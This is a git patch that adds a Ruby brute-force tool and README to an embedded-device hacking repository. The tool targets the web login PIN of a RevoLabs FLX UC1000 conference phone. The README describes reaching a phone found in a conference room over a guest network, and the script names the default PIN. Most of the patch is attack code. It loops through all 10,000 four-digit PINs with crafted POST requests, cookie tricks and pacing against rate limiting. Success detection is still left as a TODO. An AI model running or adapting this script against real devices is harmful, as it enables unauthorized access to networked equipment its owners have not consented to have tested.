From d024a7dfccbf954ab2c24f7114d29f5928894963 Mon Sep 17 00:00:00 2001 From: Conor Horan-Kates Date: Thu, 30 Jun 2016 19:50:14 -0700 Subject: [PATCH] initial revolabs flx UC1000 commit --- README.md | 9 ++- revolabs-flx_uc_1000/README.md | 11 +++ revolabs-flx_uc_1000/bf_login.rb | 120 +++++++++++++++++++++++++++++++ 3 files changed, 139 insertions(+), 1 deletion(-) create mode 100644 revolabs-flx_uc_1000/README.md create mode 100644 revolabs-flx_uc_1000/bf_login.rb diff --git a/README.md b/README.md index 8051eb4..d5d79b8 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,9 @@ # h4ck -collection of writeups and tools related to ~embedded device ~hacking +a collection of writeups and tools related to ~embedded device ~hacking + +shiny devices are fun, finding and poking holes in to their interface is a _lot_ of fun + +## devices +name | description | url +-----|-------------|----- +[RevoLabs flx UC1000](http://www.revolabs.com/products/conference-phones/wired-conference-phones/flx-uc-phones/flx-uc-1000-speakerphone)|brute forcing the PIN|[revolabs-flx_uc_1000](revolabs-flx_uc_100) \ No newline at end of file diff --git a/revolabs-flx_uc_1000/README.md b/revolabs-flx_uc_1000/README.md new file mode 100644 index 0000000..77e7e5a --- /dev/null +++ b/revolabs-flx_uc_1000/README.md @@ -0,0 +1,11 @@ +# revolabs flx UC1000 + +found this device in a conference room, found the IP from an unauthenticated menu on the dialer, and it was accessible from the 'Guest' network. it also has USB ports, so potentially available without network access. + +## story time + + + +## tools +name | description +[bf_login.rb](bf_login.rb)| brute forces the PIN on the web interface \ No newline at end of file diff --git a/revolabs-flx_uc_1000/bf_login.rb b/revolabs-flx_uc_1000/bf_login.rb new file mode 100644 index 0000000..a2ecaa7 --- /dev/null +++ b/revolabs-flx_uc_1000/bf_login.rb @@ -0,0 +1,120 @@ +#!/usr/bin/env ruby +## bf_login.rb - brute force the login for the revolabs flx UC 1000 +# +# http:///app/app.js exposes: +# sys.password: +# - defaultVal: "7386", +# - pattern: /^(\d{4,})$/, +# +# so when the default works, we only have to try 9998 other possibilities + +require 'json' +require 'net/http' +require 'uri' + +# return a Net::HTTP::Post request suitable for validating +pin+ +def get_request(uri, pin) + request = Net::HTTP::Post.new(uri.request_uri) + request['Accept'] = 'application/json, text/plain, */*' + request['Accept-Encoding'] = 'gzip, deflate' + request['Accept-Language'] = 'en-US,en;q=0.8' + request['Connection'] = 'keep-alive' + request['Content-Type'] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8' + request['Origin'] = sprintf('http://%s', uri.host) + request['Referer'] = sprintf('http://%s/login', uri.host) + request['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36' + + # TODO saying there is a cookie set, but we're def not authed.. do we need to rotate this to avoid rate limiting? + request['Cookie'] = sprintf('_ga=GA1.4.595462255.%s', Time.now.to_i) + + body = Array.new + + body << '-----------------------------7da24f2e50046' # TODO is this a magic number or randomly generated? or? + body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file.. + body << 'Content-type: plain/text' + body << '' # newline + body << sprintf('', pin) + body << '-----------------------------7da24f2e50046' + + request.body = body.join("\n") + request +end + +# return a Net::HTTP::Response object +def check_pin(url, pin) + + uri = URI.parse(url) + http = Net::HTTP.new(uri.host, uri.port) + + request = get_request(uri, pin) + http.request(request) +end + +# +## main() + +address = ARGV.pop +errors = Array.new +responses = Array.new +output = sprintf('%s-logs.%s.%s.json', __FILE__, Time.now.to_i, $$) + +if address.nil? + puts sprintf('usage: %s
', __FILE__) + exit 1 +end + +9999.downto(0) do |i| + # TODO we should prioritize 0000, 1234, etc + + pin = sprintf('%04d', i) + + begin + url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', address) + + puts sprintf('trying pin[%s]', pin) + + response = check_pin(url, pin) + + # TODO need to do some inspection on the responses to find the difference + responses << response + + # TODO need to do some handling on the rate limiting that is almost certain to follow, this is a bit blind + sleep 1 if (i % 100).eql?(0) + + rescue => e + puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message) + errors << { :exception => e, :pin => pin } + end + +end + +# marshalling the data, at least until we know what we're looking for +begin + + content = Array.new + responses.each do |response| + hash = { + :code => response.code, + :body => response.body, + :size => response.body.size, + } + + content << hash + end + + File.open(output, 'w') do |fh| + fh.print(JSON.pretty_generate(content)) + end + + puts sprintf('SUCCESS: wrote output to[%s]', output) +rescue => e + puts sprintf('ERROR: [%s]: %s[%s]', e.message, "\n", e.backtrace.join("\n")) +end + +# TODO something better here +errors.each do |e| + puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception]) +end + +puts sprintf('ERROR: [%d] total errors', errors.size) +exit 1 unless errors.empty? \ No newline at end of file